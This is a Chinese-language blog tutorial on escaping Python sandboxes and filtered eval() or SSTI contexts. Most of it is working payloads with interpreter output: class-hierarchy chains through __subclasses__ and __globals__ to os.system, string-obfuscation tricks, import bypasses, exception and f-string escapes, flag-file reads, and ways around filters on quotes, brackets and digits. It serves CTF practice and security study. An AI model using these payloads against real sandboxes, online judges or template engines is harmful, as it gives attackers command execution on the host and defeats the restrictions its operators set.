Python 沙箱逃逸

Python 沙箱逃逸

使用条件

  • python(flask等)的ssti也是基于此的

  • 形如eval(参数可控)的情况,可以调用系统命令

执行系统命令

基础知识

python中执行系统命令的方式:

  • os os.system, os.popen,
  • commands 仅支持python2
  • subprocess p = subprocess.run(["pwd"]) subprocess.Popen() subprocess.call() subprocess.getstatusoutput()
  • timeit: timeit.timeit("__import__('os').system('whoami')", number=1)
  • platform: 网上说 platform.popen('whoami', mode='r', bufsize=-1).read(), 但复现失败此次存疑
  • pty:
  • bdb:
  • cgi

网上的师傅写了个脚本遍历import os和subprocess的库

#-*- coding:utf8 -*-
# By Macr0phag3
# in 2019-05-07 19:46:12
# ------------------------------------

# this, antigravity 库删掉
all_modules_2 = [
    'BaseHTTPServer', 'imaplib', 'shelve', 'Bastion', 'anydbm', 'imghdr', 'shlex', 'CDROM', 'argparse', 'imp', 'shutil', 'CGIHTTPServer', 'array', 'importlib', 'signal', 'Canvas', 'ast', 'imputil', 'site', 'ConfigParser', 'asynchat', 'inspect', 'sitecustomize', 'Cookie', 'asyncore', 'io', 'smtpd', 'DLFCN', 'atexit', 'itertools', 'smtplib', 'Dialog', 'audiodev', 'json', 'sndhdr', 'DocXMLRPCServer', 'audioop', 'keyword', 'socket', 'FileDialog', 'base64', 'lib2to3', 'spwd', 'FixTk', 'bdb', 'linecache', 'sqlite3', 'HTMLParser', 'binascii', 'linuxaudiodev', 'sre', 'IN', 'binhex', 'locale', 'sre_compile', 'MimeWriter', 'bisect', 'logging', 'sre_constants', 'Queue', 'bsddb', 'lsb_release', 'sre_parse', 'ScrolledText', 'bz2', 'macpath', 'ssl', 'SimpleDialog', 'cPickle', 'macurl2path', 'stat', 'SimpleHTTPServer', 'cProfile', 'mailbox', 'statvfs', 'SimpleXMLRPCServer', 'cStringIO', 'mailcap', 'string', 'SocketServer', 'calendar', 'markupbase', 'stringold', 'StringIO', 'cgi', 'marshal', 'stringprep', 'TYPES', 'cgitb', 'math', 'strop', 'Tix', 'chunk', 'md5', 'struct', 'Tkconstants', 'cmath', 'mhlib', 'subprocess', 'Tkdnd', 'cmd', 'mimetools', 'sunau', 'Tkinter', 'code', 'mimetypes', 'sunaudio', 'UserDict', 'codecs', 'mimify', 'symbol', 'UserList', 'codeop', 'mmap', 'symtable', 'UserString', 'collections', 'modulefinder', 'sys', '_LWPCookieJar', 'colorsys', 'multifile', 'sysconfig', '_MozillaCookieJar', 'commands', 'multiprocessing', 'syslog', '__builtin__', 'compileall', 'mutex', 'tabnanny', '__future__', 'compiler', 'netrc', 'talloc', '_abcoll', 'contextlib', 'new', 'tarfile', '_ast', 'cookielib', 'nis', 'telnetlib', '_bisect', 'copy', 'nntplib', 'tempfile', '_bsddb', 'copy_reg', 'ntpath', 'termios', '_codecs', 'crypt', 'nturl2path', 'test', '_codecs_cn', 'csv', 'numbers', 'textwrap', '_codecs_hk', 'ctypes', 'opcode', '_codecs_iso2022', 'curses', 'operator', 'thread', '_codecs_jp', 'datetime', 'optparse', 'threading', '_codecs_kr', 'dbhash', 'os', 'time', '_codecs_tw', 'dbm', 'os2emxpath', 'timeit', '_collections', 'decimal', 'ossaudiodev', 'tkColorChooser', '_csv', 'difflib', 'parser', 'tkCommonDialog', '_ctypes', 'dircache', 'pdb', 'tkFileDialog', '_ctypes_test', 'dis', 'pickle', 'tkFont', '_curses', 'distutils', 'pickletools', 'tkMessageBox', '_curses_panel', 'doctest', 'pipes', 'tkSimpleDialog', '_elementtree', 'dumbdbm', 'pkgutil', 'toaiff', '_functools', 'dummy_thread', 'platform', 'token', '_hashlib', 'dummy_threading', 'plistlib', 'tokenize', '_heapq', 'email', 'popen2', 'trace', '_hotshot', 'encodings', 'poplib', 'traceback', '_io', 'ensurepip', 'posix', 'ttk', '_json', 'errno', 'posixfile', 'tty', '_locale', 'exceptions', 'posixpath', 'turtle', '_lsprof', 'fcntl', 'pprint', 'types', '_md5', 'filecmp', 'profile', 'unicodedata', '_multibytecodec', 'fileinput', 'pstats', 'unittest', '_multiprocessing', 'fnmatch', 'pty', 'urllib', '_osx_support', 'formatter', 'pwd', 'urllib2', '_pyio', 'fpformat', 'py_compile', 'urlparse', '_random', 'fractions', 'pyclbr', 'user', '_sha', 'ftplib', 'pydoc', 'uu', '_sha256', 'functools', 'pydoc_data', 'uuid', '_sha512', 'future_builtins', 'pyexpat', 'warnings', '_socket', 'gc', 'quopri', 'wave', '_sqlite3', 'genericpath', 'random', 'weakref', '_sre', 'getopt', 're', 'webbrowser', '_ssl', 'getpass', 'readline', 'whichdb', '_strptime', 'gettext', 'repr', 'wsgiref', '_struct', 'glob', 'resource', 'xdrlib', '_symtable', 'grp', 'rexec', 'xml', '_sysconfigdata', 'gzip', 'rfc822', 'xmllib', '_sysconfigdata_nd', 'hashlib', 'rlcompleter', 'xmlrpclib', '_testcapi', 'heapq', 'robotparser', 'xxsubtype', '_threading_local', 'hmac', 'runpy', 'zipfile', '_warnings', 'hotshot', 'sched', 'zipimport', '_weakref', 'htmlentitydefs', 'select', 'zlib', '_weakrefset', 'htmllib', 'sets', 'abc', 'httplib', 'sgmllib', 'aifc', 'ihooks', 'sha'
]

all_modules_3 = [
    'AptUrl', 'hmac', 'requests_unixsocket', 'CommandNotFound', 'apport', 'hpmudext', 'resource', 'Crypto', 'apport_python_hook', 'html', 'rlcompleter', 'DistUpgrade', 'apt', 'http', 'runpy', 'HweSupportStatus', 'apt_inst', 'httplib2', 'scanext', 'LanguageSelector', 'apt_pkg', 'idna', 'sched', 'NvidiaDetector', 'aptdaemon', 'imaplib', 'secrets', 'PIL', 'aptsources', 'imghdr', 'secretstorage', 'Quirks', 'argparse', 'imp', 'select', 'UbuntuDrivers', 'array', 'importlib', 'selectors', 'UbuntuSystemService', 'asn1crypto', 'inspect', 'shelve', 'UpdateManager', 'ast', 'io', 'shlex', '__future__', 'asynchat', 'ipaddress', 'shutil', '_ast', 'asyncio', 'itertools', 'signal', '_asyncio', 'asyncore', 'janitor', 'simplejson', '_bisect', 'atexit', 'json', 'site', '_blake2', 'audioop', 'keyring', 'sitecustomize', '_bootlocale', 'base64', 'keyword', 'six', '_bz2', 'bdb', 'language_support_pkgs', 'smtpd', '_cffi_backend', 'binascii', 'launchpadlib', 'smtplib', '_codecs', 'binhex', 'linecache', 'sndhdr', '_codecs_cn', 'bisect', 'locale', 'socket', '_codecs_hk', 'brlapi', 'logging', 'socketserver', '_codecs_iso2022', 'builtins', 'louis', 'softwareproperties', '_codecs_jp', 'bz2', 'lsb_release', 'speechd', '_codecs_kr', 'cProfile', 'lzma', 'speechd_config', '_codecs_tw', 'cairo', 'macaroonbakery', 'spwd', '_collections', 'calendar', 'macpath', 'sqlite3', '_collections_abc', 'certifi', 'macurl2path', 'sre_compile', '_compat_pickle', 'cgi', 'mailbox', 'sre_constants', '_compression', 'cgitb', 'mailcap', 'sre_parse', '_crypt', 'chardet', 'mako', 'ssl', '_csv', 'chunk', 'markupsafe', 'stat', '_ctypes', 'cmath', 'marshal', 'statistics', '_ctypes_test', 'cmd', 'math', 'string', '_curses', 'code', 'mimetypes', 'stringprep', '_curses_panel', 'codecs', 'mmap', 'struct', '_datetime', 'codeop', 'modual_test', 'subprocess', '_dbm', 'collections', 'modulefinder', 'sunau', '_dbus_bindings', 'colorsys', 'multiprocessing', 'symbol', '_dbus_glib_bindings', 'compileall', 'nacl', 'symtable', '_decimal', 'concurrent', 'netrc', 'sys', '_dummy_thread', 'configparser', 'nis', 'sysconfig', '_elementtree', 'contextlib', 'nntplib', 'syslog', '_functools', 'copy', 'ntpath', 'systemd', '_gdbm', 'copyreg', 'nturl2path', 'tabnanny', '_hashlib', 'crypt', 'numbers', 'tarfile', '_heapq', 'cryptography', 'oauth', 'telnetlib', '_imp', 'csv', 'olefile', 'tempfile', '_io', 'ctypes', 'opcode', 'termios', '_json', 'cups', 'operator', 'test', '_locale', 'cupsext', 'optparse', 'textwrap', '_lsprof', 'cupshelpers', 'orca', '_lzma', 'curses', 'os', 'threading', '_markupbase', 'datetime', 'ossaudiodev', 'time', '_md5', 'dbm', 'parser', 'timeit', '_multibytecodec', 'dbus', 'pathlib', 'token', '_multiprocessing', 'deb822', 'pcardext', 'tokenize', '_opcode', 'debconf', 'pdb', 'trace', '_operator', 'debian', 'pexpect', 'traceback', '_osx_support', 'debian_bundle', 'pickle', 'tracemalloc', '_pickle', 'decimal', 'pickletools', 'tty', '_posixsubprocess', 'defer', 'pipes', 'turtle', '_pydecimal', 'difflib', 'pkg_resources', 'types', '_pyio', 'dis', 'pkgutil', 'typing', '_random', 'distro_info', 'platform', 'ufw', '_sha1', 'distro_info_test', 'plistlib', 'unicodedata', '_sha256', 'distutils', 'poplib', 'unittest', '_sha3', 'doctest', 'posix', 'urllib', '_sha512', 'dummy_threading', 'posixpath', 'urllib3', '_signal', 'email', 'pprint', 'usbcreator', '_sitebuiltins', 'encodings', 'problem_report', 'uu', '_socket', 'enum', 'profile', 'uuid', '_sqlite3', 'errno', 'pstats', 'venv', '_sre', 'faulthandler', 'pty', 'wadllib', '_ssl', 'fcntl', 'ptyprocess', 'warnings', '_stat', 'filecmp', 'pwd', 'wave', '_string', 'fileinput', 'py_compile', 'weakref', '_strptime', 'fnmatch', 'pyatspi', 'webbrowser', '_struct', 'formatter', 'pyclbr', 'wsgiref', '_symtable', 'fractions', 'pydoc', 'xdg', '_sysconfigdata_m_linux_x86_64-linux-gnu', 'ftplib', 'pydoc_data', 'xdrlib', '_testbuffer', 'functools', 'pyexpat', 'xkit', '_testcapi', 'gc', 'pygtkcompat', 'xml', '_testimportmultiple', 'genericpath', 'pymacaroons', 'xmlrpc', '_testmultiphase', 'getopt', 'pyrfc3339', 'xxlimited', '_thread', 'getpass', 'pytz', 'xxsubtype', '_threading_local', 'gettext', 'queue', 'yaml', '_tracemalloc', 'gi', 'quopri', 'zipapp', '_warnings', 'glob', 'random', 'zipfile', '_weakref', 'grp', 're', 'zipimport', '_weakrefset', 'gtweak', 'readline', 'zlib', '_yaml', 'gzip', 'reportlab', 'zope', 'abc', 'hashlib', 'reprlib', 'aifc', 'heapq'
]

methods = ['os', 'sys', '__builtins__']

results = {}
for module in all_modules_3:
    results[module] = {
        'flag': 0,
        'result': {}
    }

    try:
        m = __import__(module)
        attrs = dir(m)
        for method in methods:
            if method in attrs:
                result = 'yes'
                results[module]['flag'] = 1
            else:
                result = 'no'

            results[module]['result'][method] = result

    except Exception as e:
        print(e)

for result in results:
    if results[result]['flag']:
        print('[+]' + result)
        for r in results[result]['result']:
            print('  [-]' + r + ': ' + results[result]['result'][r])

all_modules_2就是 2.x 的标准库,all_modules_3 就是 3.x 的标准库。

结果相当多,这里就不贴了。这里注意一下,这个文件别命名为 test.py,如果命名为 test 会怎么样呢?可以先猜一猜,后面会给解释。

如果 oj 支持 import 的话,这些库都是高危的,放任不管基本上是坐等被日。所以为了避免过滤不完善导致各种问题,在 Python 沙箱套一层 docker 肯定不会是坏事。

import的各种方式

过滤空格

如果多个空格也过滤了,Python 能够 import 的可不止 import,还有 __import____import__('os')

>>> os.system(whoami)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'os' is not defined
>>> __import__('os').system('whoami')
laptop-2sbfv1ap\20281
0

__import__被干了还有 importlibimportlib.import_module('os').system('ls') (但是你要import importlib)

>>> __import__('importlib').import_module('os').system('whoami')
laptop-2sbfv1ap\20281
0

execfile

import的本质就是包含文件,这个我们可以用execfile实现

py2

execfile('/usr/lib/python2.7/os.py')
system('ls')

py3

with open('/usr/lib/python3.6/os.py','r') as f:
    exec(f.read())

system('ls')

这个的难点在于路径,需要找一下

可以用这个找路径

import sys
print(sys.path)

花式处理字符串(待完成)

比如说os等关键词被ban

切片反转字符串

__import__('so'[::-1]).system('ls')

拼接字符串

a = 'o'
b = 's'
__import__(a+b).system('ls')

利用eval或exec

加上切片翻转

eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])

加上16进制编码,unicode编码,base64编码,字符串拼接,格式化字符串ascii编码

['__builtins__'] == 
['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f'] == 
[u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f'] == 
['X19idWlsdGluc19f'.decode('base64')] == 
['__buil'+'tins__'] == 
['__buil''tins__'] == 
['__buil'.__add__('tins__')] == 
["_builtins_".join("__")] == 
['%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)]
...

所以eval,exec很容易被ban

恢复sys.modules

有一种ban掉os库的方式是在python刚启动的时候,将sys.modules里面的os库禁用

如下

>>> sys.modules['os'] = 'not allowed'
>>> import os
>>> os.system('ls')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'
>>>

但可以这么绕

  • 方法一
sys.modules['os'] = 'not allowed' # oj 为你加的,一种waf

del sys.modules['os']
import os
os.system('ls')

绕过方法是用 del sys.modules['os'],因为,当 import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。

所以删了 sys.modules['os'] 只会让 Python 重新加载一次 os。

  • 方法二

__builtins__

先说一下,builtinbuiltins__builtin____builtins__的区别:
首先我们知道,在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chropen。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。

在 2.x 版本中,内建模块被命名为 __builtin__,到了 3.x 就成了 builtins。它们都需要 import 才能查看:

但是,__builtins__ 两者都有,实际上是__builtin__builtins 的引用。它不需要导入,我估计是为了统一 2.x 和 3.x。

>>> '__import__' in dir(__builtins__)
True
>>> __builtins__.__dict__['__import__']('os').system('whoami')
laptop-2sbfv1ap\20281
0
>>> 'eval' in dir(__builtins__)
True
>>> 'execfile' in dir(__builtins__)
False

这里稍微解释下 x.__dict__ ,它是 x 内部所有属性名和属性值组成的字典,有以下特点:

  1. 内置的数据类型没有 __dict__ 属性
  2. 每个类有自己的 __dict__ 属性,就算存着继承关系,父类的 __dict__ 并不会影响子类的 __dict__
  3. 对象也有自己的 __dict__ 属性,包含 self.xxx 这种实例属性

builtin的waf

waf1

还是用类似的套路ban掉builtin

__builtins__.__dict__['eval'] = 'not allowed'
或者
del __builtins__.__dict__['eval']

使用利用 reload(__builtins__) 来恢复 __builtins__

waf2

waf1加上下面
del __builtins__.__dict__['reload']

删掉reload,那我们就没办法直接使用

花式执行函数

与花式处理字符串不一样,函数是无法像字符串那样变形绕过的

  • 相似函数替换
print(os.system('whoami'))
print(os.popen('whoami').read()) 
print(os.popen2('whoami').read()) # 2.x
print(os.popen3('whoami').read()) # 2.x
print(os.popen4('whoami').read()) # 2.x
...

应该还有一些,可以在这里找找:
2.x 传送门🚪
3.x 传送门🚪

  • getattr

可以通过getattr拿到对象和方法,getattr直接就可以把函数名当作字符串使用

import os
getattr(os, 'metsys'[::-1])('whoami')
>>> getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
laptop-2xxxxxp\2xxxx1
0

getattr 相似的还有 __getattr____getattribute__,它们自己的区别就是getattr相当于class.attr,都是获取类属性/方法的一种方式,在获取的时候会触发__getattribute__,如果__getattribute__找不到,则触发__getattr__,还找不到则报错。更具体的这里就不解释了,有兴趣的话可以搜搜

通过继承关系逃逸

这个就是ssti的本质原理

Python 中新式类都有个属性,.__mro__.mro(),是个元组,记录了继承关系:

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

base,bases可以看基类

>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__bases__
(<class 'object'>,)

__globals__ 是函数所在的全局命名空间中所定义的全局变量。也就是只要是函数就会有这个属性。除了 builtin_function_or_method 或者是 wrapper_descriptormethod-wrapper 类型的函数,例如 rangerange.__init__''.split 等等。可以通过__globals__['os']引入os库,从而rce

__subclasses__可以看看它的子类

>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
(44, <type 'iterator'>)
(45, <type 'sys.long_info'>)
(46, <type 'sys.float_info'>)
(47, <type 'EncodingMap'>)
(48, <type 'fieldnameiterator'>)
(49, <type 'formatteriterator'>)
(50, <type 'sys.version_info'>)
(51, <type 'sys.flags'>)
(52, <type 'exceptions.BaseException'>)
(53, <type 'module'>)
(54, <type 'imp.NullImporter'>)
(55, <type 'zipimport.zipimporter'>)
(56, <type 'posix.stat_result'>)
(57, <type 'posix.statvfs_result'>)
(58, <class 'warnings.WarningMessage'>)
(59, <class 'warnings.catch_warnings'>)
(60, <class '_weakrefset._IterationGuard'>)
(61, <class '_weakrefset.WeakSet'>)
(62, <class '_abcoll.Hashable'>)
(63, <type 'classmethod'>)
(64, <class '_abcoll.Iterable'>)
(65, <class '_abcoll.Sized'>)
(66, <class '_abcoll.Container'>)
(67, <class '_abcoll.Callable'>)
(68, <type 'dict_keys'>)
(69, <type 'dict_items'>)
(70, <type 'dict_values'>)
(71, <class 'site._Printer'>)
(72, <class 'site._Helper'>)
(73, <type '_sre.SRE_Pattern'>)
(74, <type '_sre.SRE_Match'>)
(75, <type '_sre.SRE_Scanner'>)
(76, <class 'site.Quitter'>)
(77, <class 'codecs.IncrementalEncoder'>)
(78, <class 'codecs.IncrementalDecoder'>)

这些类里面,有些是含有os库的,可以用这种方式检查

>>> import site
>>> site.os
<module 'os' from '/Users/macr0phag3/.pyenv/versions/3.6.5/lib/python3.6/os.py'>

确认有的话,可以尝试构造拿到这个库(py2.x)

>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os']
<module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'>

>>> # 为了避免 index 位置问题,可以这样写:
>>> [i._Printer__setup.__globals__['os'] for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_Printer"]
<module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'>

后面的故事大家都很熟悉,总而言之就是可以想办法拿到基类,然后再使用子类找到包含os的类,最后使用global加载它,加载后的exp就可以随心所欲的绕过了

下面介绍一些经典exp的来历

py2 warnings

这个方法不仅限于 A->os,还阔以是 A->B->os,比如 2.x 中的 warnings

>>> warnings.linecache.os
<module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'>

exp

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
macr0phag3
0
>>> # 为了避免 index 位置问题,可以这样写:
>>> [i.__init__.__globals__['linecache'].__dict__['os'].system('whoami') for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "catch_warnings"]

warnings这个库中有个函数:warnings.catch_warnings,它有个_module属性:

    def __init__(self, record=False, module=None):
...
        self._module = sys.modules['warnings'] if module is None else module
...

所以通过_module也可以构造 payload

exp

>>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')
macr0phag3
0

py3

3.x 中的warnings虽然没有 linecache,也有__builtins__

同样,py3.x 中有<class 'os._wrap_close'>,利用方式可以为:

>>> ''.__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['system']('whoami')
macr0phag3
0
>>> # 为了避免 index 位置问题,可以这样写:
>>> [i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('whoami')

当然也是可以这样写的

set.mro()[-1].__subclasses__()[133].__init__.__globals__['system']('whoami')

顺便提一下,object 本来就是可以使用的,如果没过滤的话,payload 可以再简化为:(很多超短payload的万恶之源)

object.__subclasses__()[133].__init__.__globals__['system']('whoami')

还有一种是利用builtin_function_or_method__call__

"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1')
[].pop.__class__.__call__(eval, '1+1')

上面这些 payload 大多数是直接 index 了,但是直接用 index 不太健壮,可以都换成列表推导式,用 __name__ 来获取想要的 class,上面也举了好几个例子了,这里就不多说啦。

异常逃逸

class test(dict):
    def __init__(self):
        print(super(test, self).keys.__class__.__call__(eval, '1+1'))
        # 如果是 3.x 的话可以简写为:
        # super().keys.__class__.__call__(eval, '1+1'))
test()

还可以使用异常逃逸

hack = lambda : [0][1]
try:
    hack()
except Exception as e:
    e.__traceback__.tb_next.tb_frame.f_globals['__builtins__']['__import__']('os').system('whoami')

format

  1. "{0.__class__.__base__}".format([])
  2. "{x.__class__.__base__}".format(x=[])
  3. "{.__class__.__base__}".format([])
  4. ("{0.__class_"+"_.__base__}").format([])

(这里顺手记录下,对于字典键是整数型的比如 {"1":2},format 是无法拿到值的 :),这样会报错:''' {0['1']} '''.format({"1":2})'1' 引号去掉的话又会报没有这个键,这个特性可以见文档

总结

网上的师傅总结的极好:

上面的这些利用方式总结起来就是通过 .mro()__class__type(...)__mro____subclasses____base____bases__ 等属性/方法去获取 object,再根据__globals__找引入的__builtins__或者eval等等能够直接被利用的库,或者找到builtin_function_or_method类/类型__call__后直接运行eval。上面的这些利用方式总结起来就是通过 .mro()__class__type(...)__mro____subclasses____base____bases__ 等属性/方法去获取 object,再根据__globals__找引入的__builtins__或者eval等等能够直接被利用的库,或者找到builtin_function_or_method类/类型__call__后直接运行eval

文件读写

2.x有个内建的file

>>> file('key').read()
'Macr0phag3\n'
>>> file('key', 'w').write('Macr0phag3')
>>> file('key').read()
'Macr0phag3'

open

>>> open('D:/flag.txt').read()
'flag{thaiIsOK}'

types.FileType(rw)

platform.popen(rw)

linecache.getlines(r)

剩下的就是根据上面的执行系统命令采用的绕过方法去寻找 payload 了,比如:

>>> __builtins__.open('D:/flag.txt').read()
'flag{thaiIsOK}'

或者

>>> ().__class__.__base__.__subclasses__()[40]('key').read()
'Macr0phag3'

敏感信息泄露

这个也算只能读吧。

  1. dir()
  2. __import__("__main__").x,其中 __main__ 还会泄露脚本的绝对路径:<module '__main__' from 'xxx.py'>
  3. __file__,文件绝对路径
  4. x.__dict__
  5. locals()
  6. globals()
  7. vars()
  8. sys._getframe(0).f_code.co_varnames
  9. sys._getframe(0).f_locals
  10. inspect.x,inspect 有很多方法可以获取信息,比如获取源码可以用 inspect.getsource,还有其他很多的功能
  11. ...

这有一篇不错的文章,推荐阅读:

https://www.cnblogs.com/dechinphy/p/modify-locals.htm

绕过

可以和ssti一起看

过滤[]

  • pop

  • __getitem__ 代替(实际上a[0]就是在内部调用了a.__getitem__(0)):

  • next(iter())

>>> a= {'a':123}
>>> a['a']
123
>>> a.pop('a')
123

>>> b = [1,2,3,4]
>>> next(iter(b))
1
>>> b.__getitem__(0)
1
>>>

过滤引号

用chr

os.system(
    chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)
)

用str和[]

os.system(str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3])

whoami

过滤关键词str

如果 str 被过滤了怎么办呢?type('')()format() 即可。同理,intlist 都可以用 type 构造出来。

>>> str(123)
'123'
>>> format(123)
'123'

过滤引号

抠字符+格式化字符串

>>> str({}.__class__)
"<class 'dict'>"
>>> str({}.__class__)[1]
'c'
>>> chr(37)+str({}.__class__)[1]
'%c'
>>> (chr(37)+str({}.__class__)[1])%100
'd'
>>> (chr(37)+str({}.__class__)[1])%101
'e'
>>> (chr(37)+str({}.__class__)[1])%102
'f'
>>> (chr(37)+str({}.__class__)[1])%103
'g'

dict取键/值

>>> whoami=1
>>> dict(whoami=1)
{'whoami': 1}
>>> list(dict(whoami=1))
['whoami']
>>> list(dict(whoami=1))[0]
'whoami'
>>> str(dict(whoami=1))
"{'whoami': 1}"
>>> str(dict(whoami=1))[2:8]
'whoami'

过滤数字

上面提到了字符串过滤绕过,顺便说一下,如果是过滤了数字(虽然这种情况很少见),那绕过的方式就更多了,我这里随便列下:

  1. 0:int(bool([]))Flaselen([])any(())
  2. 1:int(bool([""]))Trueall(())int(list(list(dict(a၁=())).pop()).pop())
  3. 获取稍微大的数字:len(str({}.keys)),不过需要慢慢找长度符合的字符串
  4. 1.0:float(True)
  5. -1:~0
  6. ...

其实有了 0 就可以了,要啥整数直接做运算即可:

0 ** 0 == 1
1 + 1 == 2
2 + 1 == 3
2 ** 2 == 4
...

PYTHON

任意浮点数稍微麻烦点,需要想办法运算,但是一定可以搞出来,除非是 π 这种玩意...

过滤空格

空格通常来说可以通过 ()[] 替换掉。例如:

[i for i in range(10) if i == 5]` 可以替换为 `[[i][0]for(i)in(range(10))if(i)==5]

过滤运算符

== 可以用 in 来替换

替换 or 的测试代码

for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
    ans = i[0]==i[1] or i[2]==i[3]
    print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans)
    print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans)
    print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)

PY

上面这几个表达式都可以替换掉 or

替换 and 的测试代码

for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
    ans = i[0]==i[1] and i[2]==i[3]
    print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans)
    print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)

PY

上面这几个表达式都可以替换掉 and

过滤[]

这种情况下通常需要能够支持 exec 执行代码。因为有两种姿势:

  • 利用装饰器 @
  • 利用魔术方法,例如 enum.EnumMeta.__getitem__

利用这两种姿势,我在《OrangeKiller CTF 第 2 期》中出了 2 道题目,题解篇写的很详细,移步去看吧:传送门

利用新特性

PEP 498 引入了 f-string,在 3.6 开始出现:传送门🚪,食用方式:传送门🚪。所以我们就有了一种船新的利用方式:

>>> f'{__import__("os").system("whoami")}'
macr0phag3
'0'

PYTHON

关注每次版本增加的新特性,或许能淘到点宝贝。

利用反序列化攻击

反序列化攻击也是能用来逃逸,但是关于反序列化攻击的安全问题还挺多的,我专门写了篇文章,见:传送门🚪

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇